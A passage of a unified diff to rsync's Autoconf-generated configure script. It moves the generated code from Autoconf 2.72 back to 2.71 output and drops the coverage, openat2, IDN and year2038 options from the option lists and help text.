name.\n-as_sed_cpp=\"y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g\"\n-as_tr_cpp=\"eval sed '$as_sed_cpp'\" # deprecated\n+as_tr_cpp=\"eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'\"\n \n # Sed expression to map a string onto a valid variable name.\n-as_sed_sh=\"y%*+%pp%;s%[^_$as_cr_alnum]%_%g\"\n-as_tr_sh=\"eval sed '$as_sed_sh'\" # deprecated\n+as_tr_sh=\"eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'\"\n \n \n test -n \"$DJDIR\" || exec 7<&0 </dev/null\n@@ -643,7 +650,6 @@ ac_includes_default=\"\\\n ac_header_c_list=\n ac_unique_file=\"byteorder.h\"\n ac_config_libobj_dir=lib\n-enable_year2038=no\n ac_subst_vars='LTLIBOBJS\n MAKE_MAN\n GEN_RRSYNC\n@@ -667,7 +673,6 @@ with_rrsync\n PYTHON3\n PERL\n MKDIR_P\n-STRIP\n INSTALL_DATA\n INSTALL_SCRIPT\n INSTALL_PROGRAM\n@@ -737,8 +742,6 @@ ac_user_opts='\n enable_option_checking\n enable_debug\n enable_profile\n-enable_coverage\n-enable_openat2\n enable_md2man\n enable_maintainer_mode\n with_openssl_conf\n@@ -761,12 +764,10 @@ enable_roll_asm\n enable_xxhash\n enable_zstd\n enable_lz4\n-enable_idn\n enable_iconv_open\n enable_iconv\n enable_acl_support\n enable_xattr_support\n-enable_year2038\n '\n       ac_precious_vars='build_alias\n host_alias\n@@ -888,7 +889,7 @@ do\n     ac_useropt=`expr \"x$ac_option\" : 'x-*disable-\\(.*\\)'`\n     # Reject names that are not valid shell variable names.\n     expr \"x$ac_useropt\" : \".*[^-+._$as_cr_alnum]\" >/dev/null &&\n-      as_fn_error $? \"invalid feature name: '$ac_useropt'\"\n+      as_fn_error $? \"invalid feature name: \\`$ac_useropt'\"\n     ac_useropt_orig=$ac_useropt\n     ac_useropt=`printf \"%s\\n\" \"$ac_useropt\" | sed 's/[-+.]/_/g'`\n     case $ac_user_opts in\n@@ -914,7 +915,7 @@ do\n     ac_useropt=`expr \"x$ac_option\" : 'x-*enable-\\([^=]*\\)'`\n     # Reject names that are not valid shell variable names.\n     expr \"x$ac_useropt\" : \".*[^-+._$as_cr_alnum]\" >/dev/null &&\n-      as_fn_error $? \"invalid feature name: '$ac_useropt'\"\n+      as_fn_error $? \"invalid feature name: \\`$ac_useropt'\"\n     ac_useropt_orig=$ac_useropt\n     ac_useropt=`printf \"%s\\n\" \"$ac_useropt\" | sed 's/[-+.]/_/g'`\n     case $ac_user_opts in\n@@ -1127,7 +1128,7 @@ do\n     ac_useropt=`expr \"x$ac_option\" : 'x-*with-\\([^=]*\\)'`\n     # Reject names that are not valid shell variable names.\n     expr \"x$ac_useropt\" : \".*[^-+._$as_cr_alnum]\" >/dev/null &&\n-      as_fn_error $? \"invalid package name: '$ac_useropt'\"\n+      as_fn_error $? \"invalid package name: \\`$ac_useropt'\"\n     ac_useropt_orig=$ac_useropt\n     ac_useropt=`printf \"%s\\n\" \"$ac_useropt\" | sed 's/[-+.]/_/g'`\n     case $ac_user_opts in\n@@ -1143,7 +1144,7 @@ do\n     ac_useropt=`expr \"x$ac_option\" : 'x-*without-\\(.*\\)'`\n     # Reject names that are not valid shell variable names.\n     expr \"x$ac_useropt\" : \".*[^-+._$as_cr_alnum]\" >/dev/null &&\n-      as_fn_error $? \"invalid package name: '$ac_useropt'\"\n+      as_fn_error $? \"invalid package name: \\`$ac_useropt'\"\n     ac_useropt_orig=$ac_useropt\n     ac_useropt=`printf \"%s\\n\" \"$ac_useropt\" | sed 's/[-+.]/_/g'`\n     case $ac_user_opts in\n@@ -1173,8 +1174,8 @@ do\n   | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*)\n     x_libraries=$ac_optarg ;;\n \n-  -*) as_fn_error $? \"unrecognized option: '$ac_option'\n-Try '$0 --help' for more information\"\n+  -*) as_fn_error $? \"unrecognized option: \\`$ac_option'\n+Try \\`$0 --help' for more information\"\n     ;;\n \n   *=*)\n@@ -1182,7 +1183,7 @@ Try '$0 --help' for more information\"\n     # Reject names that are not valid shell variable names.\n     case $ac_envvar in #(\n       '' | [0-9]* | *[!_$as_cr_alnum]* )\n-      as_fn_error $? \"invalid variable name: '$ac_envvar'\" ;;\n+      as_fn_error $? \"invalid variable name: \\`$ac_envvar'\" ;;\n     esac\n     eval $ac_envvar=\\$ac_optarg\n     export $ac_envvar ;;\n@@ -1232,7 +1233,7 @@ do\n   as_fn_error $? \"expected an absolute directory name for --$ac_var: $ac_val\"\n done\n \n-# There might be people who depend on the old broken behavior: '$host'\n+# There might be people who depend on the old broken behavior: `$host'\n # used to hold the argument of --host etc.\n # FIXME: To remove some day.\n build=$build_alias\n@@ -1300,7 +1301,7 @@ if test ! -r \"$srcdir/$ac_unique_file\"; then\n   test \"$ac_srcdir_defaulted\" = yes && srcdir=\"$ac_confdir or ..\"\n   as_fn_error $? \"cannot find sources ($ac_unique_file) in $srcdir\"\n fi\n-ac_msg=\"sources are in $srcdir, but 'cd $srcdir' does not work\"\n+ac_msg=\"sources are in $srcdir, but \\`cd $srcdir' does not work\"\n ac_abs_confdir=`(\n \tcd \"$srcdir\" && test -r \"./$ac_unique_file\" || as_fn_error $? \"$ac_msg\"\n \tpwd)`\n@@ -1328,7 +1329,7 @@ if test \"$ac_init_help\" = \"long\"; then\n   # Omit some internal or obsolete options to make the list less imposing.\n   # This message is too long to be a string in the A/UX 3.1 sh.\n   cat <<_ACEOF\n-'configure' configures rsync to adapt to many kinds of systems.\n+\\`configure' configures rsync to adapt to many kinds of systems.\n \n Usage: $0 [OPTION]... [VAR=VALUE]...\n \n@@ -1342,11 +1343,11 @@ Configuration:\n       --help=short        display options specific to this package\n       --help=recursive    display the short help of all the included packages\n   -V, --version           display version information and exit\n-  -q, --quiet, --silent   do not print 'checking ...' messages\n+  -q, --quiet, --silent   do not print \\`checking ...' messages\n       --cache-file=FILE   cache test results in FILE [disabled]\n-  -C, --config-cache      alias for '--cache-file=config.cache'\n+  -C, --config-cache      alias for \\`--cache-file=config.cache'\n   -n, --no-create         do not create output files\n-      --srcdir=DIR        find the sources in DIR [configure dir or '..']\n+      --srcdir=DIR        find the sources in DIR [configure dir or \\`..']\n \n Installation directories:\n   --prefix=PREFIX         install architecture-independent files in PREFIX\n@@ -1354,10 +1355,10 @@ Installation directories:\n   --exec-prefix=EPREFIX   install architecture-dependent files in EPREFIX\n                           [PREFIX]\n \n-By default, 'make install' will install all the files in\n-'$ac_default_prefix/bin', '$ac_default_prefix/lib' etc.  You can specify\n-an installation prefix other than '$ac_default_prefix' using '--prefix',\n-for instance '--prefix=\\$HOME'.\n+By default, \\`make install' will install all the files in\n+\\`$ac_default_prefix/bin', \\`$ac_default_prefix/lib' etc.  You can specify\n+an installation prefix other than \\`$ac_default_prefix' using \\`--prefix',\n+for instance \\`--prefix=\\$HOME'.\n \n For better control, use the options below.\n \n@@ -1404,9 +1405,6 @@ Optional Features:\n   --enable-FEATURE[=ARG]  include FEATURE [ARG=yes]\n   --disable-debug         disable to omit debugging symbols and features\n   --enable-profile        enable to turn on CPU profiling\n-  --enable-coverage       build with gcov instrumentation for `make coverage`\n-  --disable-openat2       do not use Linux openat2(RESOLVE_BENEATH); force the\n-                          portable resolver (for exercising the fallback tier)\n   --disable-md2man        disable to omit manpage creation\n   --enable-maintainer-mode\n                           enable to turn on extra debug features\n@@ -1422,13 +1420,10 @@ Optional Features:\n   --disable-xxhash        disable to omit xxhash checksums\n   --disable-zstd          disable to omit zstd compression\n   --disable-lz4           disable to omit LZ4 compression\n-  --disable-idn           disable to omit IDN (Internationalized Domain Name)\n-                          support\n   --disable-iconv-open    disable to avoid all use of iconv_open()\n   --disable-iconv         disable to omit the --iconv option\n   --disable-acl-support   disable to omit ACL support\n   --disable-xattr-support disable to omit extended attributes\n-  --enable-year2038       support timestamps after 2038\n \n Optional Packages:\n   --with-PACKAGE[=ARG]    use PACKAGE [ARG=yes]\n@@ -1460,7 +1455,7 @@ Some influential environment variables:\n   CXX         C++ compiler command\n   CXXFLAGS    C++ compiler flags\n \n-Use these variables to override the choices made by 'configure' or to help\n+Use these variables to override the choices made by `configure' or to help\n it to find libraries and programs with nonstandard names/locations.\n \n Report bugs to <https://rsync.samba.org/bug-tracking.html>.\n@@ -1528,9 +1523,9 @@ test -n \"$ac_init_help\" && exit $ac_status\n if $ac_init_version; then\n   cat <<\\_ACEOF\n rsync configure\n-generated by GNU Autoconf 2.72\n+generated by GNU Autoconf 2.71\n \n-Copyright (C) 2023 Free Software Foundation, Inc.\n+Copyright (C) 2021 Free Software Foundation, Inc.\n This configure script is free software; the Free Software Foundation\n gives unlimited permission to copy, distribute and modify it.\n _ACEOF\n@@ -1569,66 +1564,17 @@ printf \"%s\\n\" \"$ac_try_echo\"; } >&5\n        } && test -s conftest.$ac_objext\n then :\n   ac_retval=0\n-else case e in #(\n-  e) printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n+else $as_nop\n+  printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n sed 's/^/| /' conftest.$ac_ext >&5\n \n-\tac_retval=1 ;;\n-esac\n+\tac_retval=1\n fi\n   eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno\n   as_fn_set_status $ac_retval\n \n } # ac_fn_c_try_compile\n \n-# ac_fn_c_try_link LINENO\n-# -----------------------\n-# Try to link conftest.$ac_ext, and return whether this succeeded.\n-ac_fn_c_try_link ()\n-{\n-  as_lineno=${as_lineno-\"$1\"} as_lineno_stack=as_lineno_stack=$as_lineno_stack\n-  rm -f conftest.$ac_objext conftest.beam conftest$ac_exeext\n-  if { { ac_try=\"$ac_link\"\n-case \"(($ac_try\" in\n-  *\\\"* | *\\`* | *\\\\*) ac_try_echo=\\$ac_try;;\n-  *) ac_try_echo=$ac_try;;\n-esac\n-eval ac_try_echo=\"\\\"\\$as_me:${as_lineno-$LINENO}: $ac_try_echo\\\"\"\n-printf \"%s\\n\" \"$ac_try_echo\"; } >&5\n-  (eval \"$ac_link\") 2>conftest.err\n-  ac_status=$?\n-  if test -s conftest.err; then\n-    grep -v '^ *+' conftest.err >conftest.er1\n-    cat conftest.er1 >&5\n-    mv -f conftest.er1 conftest.err\n-  fi\n-  printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: \\$? = $ac_status\" >&5\n-  test $ac_status = 0; } && {\n-\t test -z \"$ac_c_werror_flag\" ||\n-\t test ! -s conftest.err\n-       } && test -s conftest$ac_exeext && {\n-\t test \"$cross_compiling\" = yes ||\n-\t test -x conftest$ac_exeext\n-       }\n-then :\n-  ac_retval=0\n-else case e in #(\n-  e) printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n-sed 's/^/| /' conftest.$ac_ext >&5\n-\n-\tac_retval=1 ;;\n-esac\n-fi\n-  # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information\n-  # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would\n-  # interfere with the next link command; also delete a directory that is\n-  # left behind by Apple's compiler.  We do this before executing the actions.\n-  rm -rf conftest.dSYM conftest_ipa8_conftest.oo\n-  eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno\n-  as_fn_set_status $ac_retval\n-\n-} # ac_fn_c_try_link\n-\n # ac_fn_c_try_run LINENO\n # ----------------------\n # Try to run conftest.$ac_ext, and return whether this succeeded. Assumes that\n@@ -1659,13 +1605,12 @@ printf \"%s\\n\" \"$ac_try_echo\"; } >&5\n   test $ac_status = 0; }; }\n then :\n   ac_retval=0\n-else case e in #(\n-  e) printf \"%s\\n\" \"$as_me: program exited with status $ac_status\" >&5\n+else $as_nop\n+  printf \"%s\\n\" \"$as_me: program exited with status $ac_status\" >&5\n        printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n sed 's/^/| /' conftest.$ac_ext >&5\n \n-       ac_retval=$ac_status ;;\n-esac\n+       ac_retval=$ac_status\n fi\n   rm -rf conftest.dSYM conftest_ipa8_conftest.oo\n   eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno\n@@ -1685,8 +1630,8 @@ printf %s \"checking for $2... \" >&6; }\n if eval test \\${$3+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n $4\n #include <$2>\n@@ -1694,12 +1639,10 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   eval \"$3=yes\"\n-else case e in #(\n-  e) eval \"$3=no\" ;;\n-esac\n+else $as_nop\n+  eval \"$3=no\"\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n eval ac_res=\\$$3\n \t       { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_res\" >&5\n@@ -1708,6 +1651,53 @@ printf \"%s\\n\" \"$ac_res\" >&6; }\n \n } # ac_fn_c_check_header_compile\n \n+# ac_fn_c_try_link LINENO\n+# -----------------------\n+# Try to link conftest.$ac_ext, and return whether this succeeded.\n+ac_fn_c_try_link ()\n+{\n+  as_lineno=${as_lineno-\"$1\"} as_lineno_stack=as_lineno_stack=$as_lineno_stack\n+  rm -f conftest.$ac_objext conftest.beam conftest$ac_exeext\n+  if { { ac_try=\"$ac_link\"\n+case \"(($ac_try\" in\n+  *\\\"* | *\\`* | *\\\\*) ac_try_echo=\\$ac_try;;\n+  *) ac_try_echo=$ac_try;;\n+esac\n+eval ac_try_echo=\"\\\"\\$as_me:${as_lineno-$LINENO}: $ac_try_echo\\\"\"\n+printf \"%s\\n\" \"$ac_try_echo\"; } >&5\n+  (eval \"$ac_link\") 2>conftest.err\n+  ac_status=$?\n+  if test -s conftest.err; then\n+    grep -v '^ *+' conftest.err >conftest.er1\n+    cat conftest.er1 >&5\n+    mv -f conftest.er1 conftest.err\n+  fi\n+  printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: \\$? = $ac_status\" >&5\n+  test $ac_status = 0; } && {\n+\t test -z \"$ac_c_werror_flag\" ||\n+\t test ! -s conftest.err\n+       } && test -s conftest$ac_exeext && {\n+\t test \"$cross_compiling\" = yes ||\n+\t test -x conftest$ac_exeext\n+       }\n+then :\n+  ac_retval=0\n+else $as_nop\n+  printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n+sed 's/^/| /' conftest.$ac_ext >&5\n+\n+\tac_retval=1\n+fi\n+  # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information\n+  # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would\n+  # interfere with the next link command; also delete a directory that is\n+  # left behind by Apple's compiler.  We do this before executing the actions.\n+  rm -rf conftest.dSYM conftest_ipa8_conftest.oo\n+  eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno\n+  as_fn_set_status $ac_retval\n+\n+} # ac_fn_c_try_link\n+\n # ac_fn_c_try_cpp LINENO\n # ----------------------\n # Try to preprocess conftest.$ac_ext, and return whether this succeeded.\n@@ -1735,12 +1725,11 @@ printf \"%s\\n\" \"$ac_try_echo\"; } >&5\n        }\n then :\n   ac_retval=0\n-else case e in #(\n-  e) printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n+else $as_nop\n+  printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n sed 's/^/| /' conftest.$ac_ext >&5\n \n-    ac_retval=1 ;;\n-esac\n+    ac_retval=1\n fi\n   eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno\n   as_fn_set_status $ac_retval\n@@ -1775,12 +1764,11 @@ printf \"%s\\n\" \"$ac_try_echo\"; } >&5\n        } && test -s conftest.$ac_objext\n then :\n   ac_retval=0\n-else case e in #(\n-  e) printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n+else $as_nop\n+  printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n sed 's/^/| /' conftest.$ac_ext >&5\n \n-\tac_retval=1 ;;\n-esac\n+\tac_retval=1\n fi\n   eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno\n   as_fn_set_status $ac_retval\n@@ -1817,13 +1805,12 @@ printf \"%s\\n\" \"$ac_try_echo\"; } >&5\n   test $ac_status = 0; }; }\n then :\n   ac_retval=0\n-else case e in #(\n-  e) printf \"%s\\n\" \"$as_me: program exited with status $ac_status\" >&5\n+else $as_nop\n+  printf \"%s\\n\" \"$as_me: program exited with status $ac_status\" >&5\n        printf \"%s\\n\" \"$as_me: failed program was:\" >&5\n sed 's/^/| /' conftest.$ac_ext >&5\n \n-       ac_retval=$ac_status ;;\n-esac\n+       ac_retval=$ac_status\n fi\n   rm -rf conftest.dSYM conftest_ipa8_conftest.oo\n   eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno\n@@ -1876,19 +1863,18 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_hi=$ac_mid; break\n-else case e in #(\n-  e) as_fn_arith $ac_mid + 1 && ac_lo=$as_val\n+else $as_nop\n+  as_fn_arith $ac_mid + 1 && ac_lo=$as_val\n \t\t\tif test $ac_lo -le $ac_mid; then\n \t\t\t  ac_lo= ac_hi=\n \t\t\t  break\n \t\t\tfi\n-\t\t\tas_fn_arith 2 '*' $ac_mid + 1 && ac_mid=$as_val ;;\n-esac\n+\t\t\tas_fn_arith 2 '*' $ac_mid + 1 && ac_mid=$as_val\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n   done\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n $4\n int\n@@ -1923,23 +1909,20 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_lo=$ac_mid; break\n-else case e in #(\n-  e) as_fn_arith '(' $ac_mid ')' - 1 && ac_hi=$as_val\n+else $as_nop\n+  as_fn_arith '(' $ac_mid ')' - 1 && ac_hi=$as_val\n \t\t\tif test $ac_mid -le $ac_hi; then\n \t\t\t  ac_lo= ac_hi=\n \t\t\t  break\n \t\t\tfi\n-\t\t\tas_fn_arith 2 '*' $ac_mid && ac_mid=$as_val ;;\n-esac\n+\t\t\tas_fn_arith 2 '*' $ac_mid && ac_mid=$as_val\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n   done\n-else case e in #(\n-  e) ac_lo= ac_hi= ;;\n-esac\n+else $as_nop\n+  ac_lo= ac_hi=\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n # Binary search between lo and hi bounds.\n@@ -1962,9 +1945,8 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   ac_hi=$ac_mid\n-else case e in #(\n-  e) as_fn_arith '(' $ac_mid ')' + 1 && ac_lo=$as_val ;;\n-esac\n+else $as_nop\n+  as_fn_arith '(' $ac_mid ')' + 1 && ac_lo=$as_val\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n done\n@@ -2012,9 +1994,8 @@ _ACEOF\n if ac_fn_c_try_run \"$LINENO\"\n then :\n   echo >>conftest.val; read $3 <conftest.val; ac_retval=0\n-else case e in #(\n-  e) ac_retval=1 ;;\n-esac\n+else $as_nop\n+  ac_retval=1\n fi\n rm -f core *.core core.conftest.* gmon.out bb.out conftest$ac_exeext \\\n   conftest.$ac_objext conftest.beam conftest.$ac_ext\n@@ -2038,8 +2019,8 @@ printf %s \"checking for $2... \" >&6; }\n if eval test \\${$3+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) eval \"$3=no\"\n+else $as_nop\n+  eval \"$3=no\"\n   cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n $4\n@@ -2069,14 +2050,12 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n \n-else case e in #(\n-  e) eval \"$3=yes\" ;;\n-esac\n+else $as_nop\n+  eval \"$3=yes\"\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n eval ac_res=\\$$3\n \t       { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_res\" >&5\n@@ -2097,8 +2076,8 @@ printf %s \"checking for $2.$3... \" >&6; }\n if eval test \\${$4+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n $5\n int\n@@ -2114,8 +2093,8 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   eval \"$4=yes\"\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n $5\n int\n@@ -2131,15 +2110,12 @@ _ACEOF\n if ac_fn_c_try_compile \"$LINENO\"\n then :\n   eval \"$4=yes\"\n-else case e in #(\n-  e) eval \"$4=no\" ;;\n-esac\n+else $as_nop\n+  eval \"$4=no\"\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n-rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;;\n-esac\n+rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext\n fi\n eval ac_res=\\$$4\n \t       { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_res\" >&5\n@@ -2159,15 +2135,15 @@ printf %s \"checking for $2... \" >&6; }\n if eval test \\${$3+y}\n then :\n   printf %s \"(cached) \" >&6\n-else case e in #(\n-  e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n+else $as_nop\n+  cat confdefs.h - <<_ACEOF >conftest.$ac_ext\n /* end confdefs.h.  */\n /* Define $2 to an innocuous variant, in case <limits.h> declares $2.\n    For example, HP-UX 11i <limits.h> declares gettimeofday.  */\n #define $2 innocuous_$2\n \n /* System header to define __stub macros and hopefully few prototypes,\n-   which can conflict with char $2 (void); below.  */\n+   which can conflict with char $2 (); below.  */\n \n #include <limits.h>\n #undef $2\n@@ -2178,7 +2154,7 @@ else case e in #(\n #ifdef __cplusplus\n extern \"C\"\n #endif\n-char $2 (void);\n+char $2 ();\n /* The GNU C library defines this for functions which it implements\n     to always fail with ENOSYS.  Some functions are actually named\n     something starting with __ and the normal name is an alias.  */\n@@ -2197,13 +2173,11 @@ _ACEOF\n if ac_fn_c_try_link \"$LINENO\"\n then :\n   eval \"$3=yes\"\n-else case e in #(\n-  e) eval \"$3=no\" ;;\n-esac\n+else $as_nop\n+  eval \"$3=no\"\n fi\n rm -f core conftest.err conftest.$ac_objext conftest.beam \\\n-    conftest$ac_exeext conftest.$ac_ext ;;\n-esac\n+    conftest$ac_exeext conftest.$ac_ext\n fi\n eval ac_res=\\$$3\n \t       { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: result: $ac_res\" >&5\n@@ -2236,7 +2210,7 @@ This file contains any messages produced by compilers while\n running configure, to aid debugging if configure makes a mistake.\n \n It was created by rsync $as_me, which was\n-generated by GNU Autoconf 2.72.  Invocation command line was\n+generated by GNU Autoconf 2.71.  Invocation command line was\n \n   $ $0$ac_configure_args_raw\n \n@@ -2482,10 +2456,10 @@ esac\n printf \"%s\\n\" \"$as_me: loading site script $ac_site_file\" >&6;}\n     sed 's/^/| /' \"$ac_site_file\" >&5\n     . \"$ac_site_file\" \\\n-      || { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in '$ac_pwd':\" >&5\n-printf \"%s\\n\" \"$as_me: error: in '$ac_pwd':\" >&2;}\n+      || { { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: in \\`$ac_pwd':\" >&5\n+printf \"%s\\n\" \"$as_me: error: in \\`$ac_pwd':\" >&2;}\n as_fn_error $? \"failed to load site script $ac_site_file\n-See 'config.log' for more details\" \"$LINENO\" 5; }\n+See \\`config.log' for more details\" \"$LINENO\" 5; }\n   fi\n done\n \n@@ -2521,7 +2495,9 @@ struct stat;\n /* Most of the following tests are stolen from RCS 5.7 src/conf.sh.  */\n struct buf { int x; };\n struct buf * (*rcsopen) (struct buf *, struct stat *, int);\n-static char *e (char **p, int i)\n+static char *e (p, i)\n+     char **p;\n+     int i;\n {\n   return p[i];\n }\n@@ -2535,21 +2511,6 @@ static char *f (char * (*g) (char **, int), char **p, ...)\n   return s;\n }\n \n-/* C89 style stringification. */\n-#define noexpand_stringify(a) #a\n-const char *stringified = noexpand_stringify(arbitrary+token=sequence);\n-\n-/* C89 style token pasting.  Exercises some of the corner cases that\n-   e.g. old MSVC gets wrong, but not very hard. */\n-#define noexpand_concat(a,b) a##b\n-#define expand_concat(a,b) noexpand_concat(a,b)\n-extern int vA;\n-extern int vbee;\n-#define aye A\n-#define bee B\n-int *pvA = &expand_concat(v,aye);\n-int *pvbee = &noexpand_concat(v,bee);\n-\n /* OSF 4.0 Compaq cc is some sort of almost-ANSI by default.  It has\n    function prototypes and stuff, but not \\xHH hex character constants.\n    These do not provoke an error unfortunately, instead are silently treated\n@@ -2577,19 +2538,16 @@ ok |= (argc == 0 || f (e, argv, 0) != argv[0] || f (e, argv, 1) != argv[1]);\n \n # Test code for whether the C compiler supports C99 (global declarations)\n ac_c_conftest_c99_globals='\n-/* Does the compiler advertise C99 conformance? */\n+// Does the compiler advertise C99 conformance?\n #if !defined __STDC_VERSION__ || __STDC_VERSION__ < 199901L\n # error \"Compiler does not advertise C99 conformance\"\n #endif\n \n-// See if C++-style comments work.\n-\n #include <stdbool.h>\n extern int puts (const char *);\n extern int printf (const char *, ...);\n extern int dprintf (int, const char *, ...);\n extern void *malloc (size_t);\n-extern void free (void *);\n \n // Check varargs macros.  These examples are taken from C99 6.10.3.5.\n // dprintf is used instead of fprintf to avoid needing to declare\n@@ -2639,6 +2597,7 @@ typedef const char *ccp;\n static inline int\n test_restrict (ccp restrict text)\n {\n+  // See if C++-style comments work.\n   // Iterate through items via the restricted pointer.\n   // Also check for declarations in for loops.\n   for (unsigned int i = 0; *(text+i) != '\\''\\0'\\''; ++i)\n@@ -2704,8 +2663,6 @@ ac_c_conftest_c99_main='\n   ia->datasize = 10;\n   for (int i = 0; i < ia->datasize; ++i)\n     ia->data[i] = i * 1.234;\n-  // Work around memory leak warnings.\n-  free (ia);\n \n   // Check named initializers.\n   struct named_init ni = {\n@@ -2727,7 +2684,7 @@ ac_c_conftest_c99_main='\n \n # Test code for whether the C compiler supports C11 (global declarations)\n ac_c_conftest_c11_globals='\n-/* Does the compiler advertise C11 conformance? */\n+// Does the compiler advertise C11 conformance?\n #if !defined __STDC_VERSION__ || __STDC_VERSION__ < 201112L\n # error \"Compiler does not advertise C11 conformance\"\n #endif\n@@ -3136,9 +3093,8 @@ IFS=$as_save_IFS\n if $as_found\n then :\n \n-else case e in #(\n-  e) as_fn_error $? \"cannot find required auxiliary files:$ac_missing_aux_files\" \"$LINENO\" 5 ;;\n-esac\n+else $as_nop\n+  as_fn_error $? \"cannot find required auxiliary files:$ac_missing_aux_files\" \"$LINENO\" 5\n fi\n \n \n@@ -3166,12 +3122,12 @@ for ac_var in $ac_precious_vars; do\n   eval ac_new_val=\\$ac_env_${ac_var}_value\n   case $ac_old_set,$ac_new_set in\n     set,)\n-      { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: '$ac_var' was set to '$ac_old_val' in the previous run\" >&5\n-printf \"%s\\n\" \"$as_me: error: '$ac_var' was set to '$ac_old_val' in the previous run\" >&2;}\n+      { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: \\`$ac_var' was set to \\`$ac_old_val' in the previous run\" >&5\n+printf \"%s\\n\" \"$as_me: error: \\`$ac_var' was set to \\`$ac_old_val' in the previous run\" >&2;}\n       ac_cache_corrupted=: ;;\n     ,set)\n-      { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: '$ac_var' was not set in the previous run\" >&5\n-printf \"%s\\n\" \"$as_me: error: '$ac_var' was not set in the previous run\" >&2;}\n+      { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: \\`$ac_var' was not set in the previous run\" >&5\n+printf \"%s\\n\" \"$as_me: error: \\`$ac_var' was not set in the previous run\" >&2;}\n       ac_cache_corrupted=: ;;\n     ,);;\n     *)\n@@ -3180,18 +3136,18 @@ printf \"%s\\n\" \"$as_me: error: '$ac_var' was not set in the previous run\" >&2;}\n \tac_old_val_w=`echo x $ac_old_val`\n \tac_new_val_w=`echo x $ac_new_val`\n \tif test \"$ac_old_val_w\" != \"$ac_new_val_w\"; then\n-\t  { printf \"%s\\n\" \"$as_me:${as_lineno-$LINENO}: error: '$ac_var' has changed since the previous run:\" >&5\n-printf \"%s\\n\" 